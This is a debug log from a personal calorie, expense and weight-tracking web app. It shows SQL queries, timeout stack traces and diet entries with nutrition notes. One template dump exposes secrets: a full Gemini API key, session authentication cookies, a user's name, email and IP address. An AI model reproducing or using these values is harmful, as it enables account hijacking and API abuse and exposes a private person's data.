      protein: 8.8,
      carbs: 36,
      fat: 14.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Avocado toast, particularly with whole wheat bread, is a good source of healthy monounsaturated fats, complex carbohydrates, and fiber. It also provides some protein. For someone aiming for muscle development and an active lifestyle, it's a beneficial meal or snack that provides sustained energy and essential nutrients. Portion control is key due to the calorie density of avocado."
    }
  ],
  total_protein: 8.8,
  total_carbs: 36,
  total_fat: 14.4,
  total_calories: 284,
  macro_unit: 'grams'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 08:35:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 08:35:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 08:47:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 08:47:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 08:51:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 08:51:42' as DATETIME)"
}
2025-12-14T09:16:09.050Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-14T09:16:09.056Z server-connect:app Executing action step identify
2025-12-14T09:16:09.056Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:09.057Z server-connect:output identity: 1
2025-12-14T09:16:09.057Z server-connect:app Executing action step restrict
2025-12-14T09:16:09.057Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T09:16:09.057Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-14T09:16:09.059Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-14T09:16:09.060Z server-connect:output restrict: undefined
2025-12-14T09:16:09.060Z server-connect:app Executing action step select
2025-12-14T09:16:09.060Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-14T09:16:09.060Z server-connect:app Executing action step identify
2025-12-14T09:16:09.060Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:09.060Z server-connect:output identity: 1
2025-12-14T09:16:09.061Z server-connect:app Executing action step restrict
2025-12-14T09:16:09.061Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T09:16:09.061Z server-connect:app Executing action step identify
2025-12-14T09:16:09.061Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:09.061Z server-connect:output identity: 1
2025-12-14T09:16:09.061Z server-connect:app Executing action step restrict
2025-12-14T09:16:09.061Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T09:16:09.061Z server-connect:output restrict: undefined
2025-12-14T09:16:09.062Z server-connect:app Executing action step single
2025-12-14T09:16:09.062Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-14T09:16:09.062Z server-connect:output restrict: undefined
2025-12-14T09:16:09.063Z server-connect:app Executing action step single
2025-12-14T09:16:09.063Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-14T09:16:09.063Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-14T09:16:09.066Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-14T09:16:09.067Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-14T09:16:09.067Z server-connect:app Executing action step select
2025-12-14T09:16:09.067Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-14T09:16:09.072Z server-connect:output item_list: [
  {
    id: 387,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Salted Fries',
    calories: 210,
    protein_gm: 3,
    carbs_gm: 28,
    fat_gm: 11,
    quantity: 'Few pieces (approx 70g)',
    replacements: 'Baked potato wedges,Air-fried sweet potato fries,Roasted vegetables,Oven-baked fries (with minimal oil)',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'Deep-fried, high in unhealthy fats and refined carbohydrates. It offers minimal protein and micronutrients, contributing to empty calories which is counterproductive for muscle development and fat loss.'
  },
  {
    id: 388,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Ginger Ale',
    calories: 66,
    protein_gm: 0,
    carbs_gm: 17,
    fat_gm: 0,
    quantity: 'Half (approx 165ml, based on a standard 330ml can)',
    replacements: 'Water,Sparkling water with a slice of ginger/lemon,Diet ginger ale (use sparingly),Unsweetened herbal tea',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'High in added sugars and offers empty calories with no nutritional value (protein, fiber, vitamins) for muscle growth or overall health. Leads to unnecessary blood sugar spikes.'
  },
  {
    id: 389,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Paneer Pakoda',
    calories: 128,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 9,
    quantity: '1 piece (approx 40g)',
    replacements: 'Grilled paneer,Tandoori paneer,Paneer tikka,Baked paneer pakoda (using minimal oil),Paneer bhurji',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 2,
    skip_reason: 'While paneer provides protein, this item is deep-fried, leading to high unhealthy fat and calorie content from the frying oil and besan (gram flour) batter. Healthier, non-fried forms of paneer are much more beneficial for muscle development.'
  }
]
2025-12-14T09:16:09.072Z server-connect:app Executing action step setvalue
2025-12-14T09:16:09.072Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-14T09:16:09.072Z server-connect:output var_total: 404
2025-12-14T09:16:09.072Z server-connect:app Executing action step setvalue
2025-12-14T09:16:09.072Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-14T09:16:09.072Z server-connect:output var_consumed: 17
2025-12-14T09:16:09.072Z server-connect:app Executing action step setvalue
2025-12-14T09:16:09.072Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-14T09:16:09.072Z server-connect:output var_deficit: 1996
2025-12-14T09:16:09.072Z server-connect:app Executing action step custom
2025-12-14T09:16:09.072Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-14T09:16:09.073Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  }
]
2025-12-14T09:16:15.035Z server-connect:router Serving templateView /weight-trackor
2025-12-14T09:16:15.036Z server-connect:app Executing action step identify
2025-12-14T09:16:15.036Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:15.036Z server-connect:output identity: 1
2025-12-14T09:16:15.036Z server-connect:app Executing action step restrict
2025-12-14T09:16:15.036Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T09:16:15.037Z server-connect:output restrict: undefined
2025-12-14T09:16:15.037Z server-connect:router Render template weight-trackor
2025-12-14T09:16:15.037Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.198',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.246.198',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.198',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-14T09:16:15.325Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-14T09:16:15.325Z server-connect:app Executing action step identify
2025-12-14T09:16:15.325Z server-connect:app options: { provider: 'security' }
2025-12-14T09:16:15.325Z server-connect:output identity: 1
2025-12-14T09:16:15.325Z server-connect:app Executing action step restrict
2025-12-14T09:16:15.325Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T09:16:15.326Z server-connect:output restrict: undefined
2025-12-14T09:16:15.326Z server-connect:app Executing action step custom
2025-12-14T09:16:15.326Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-14T09:16:15.328Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
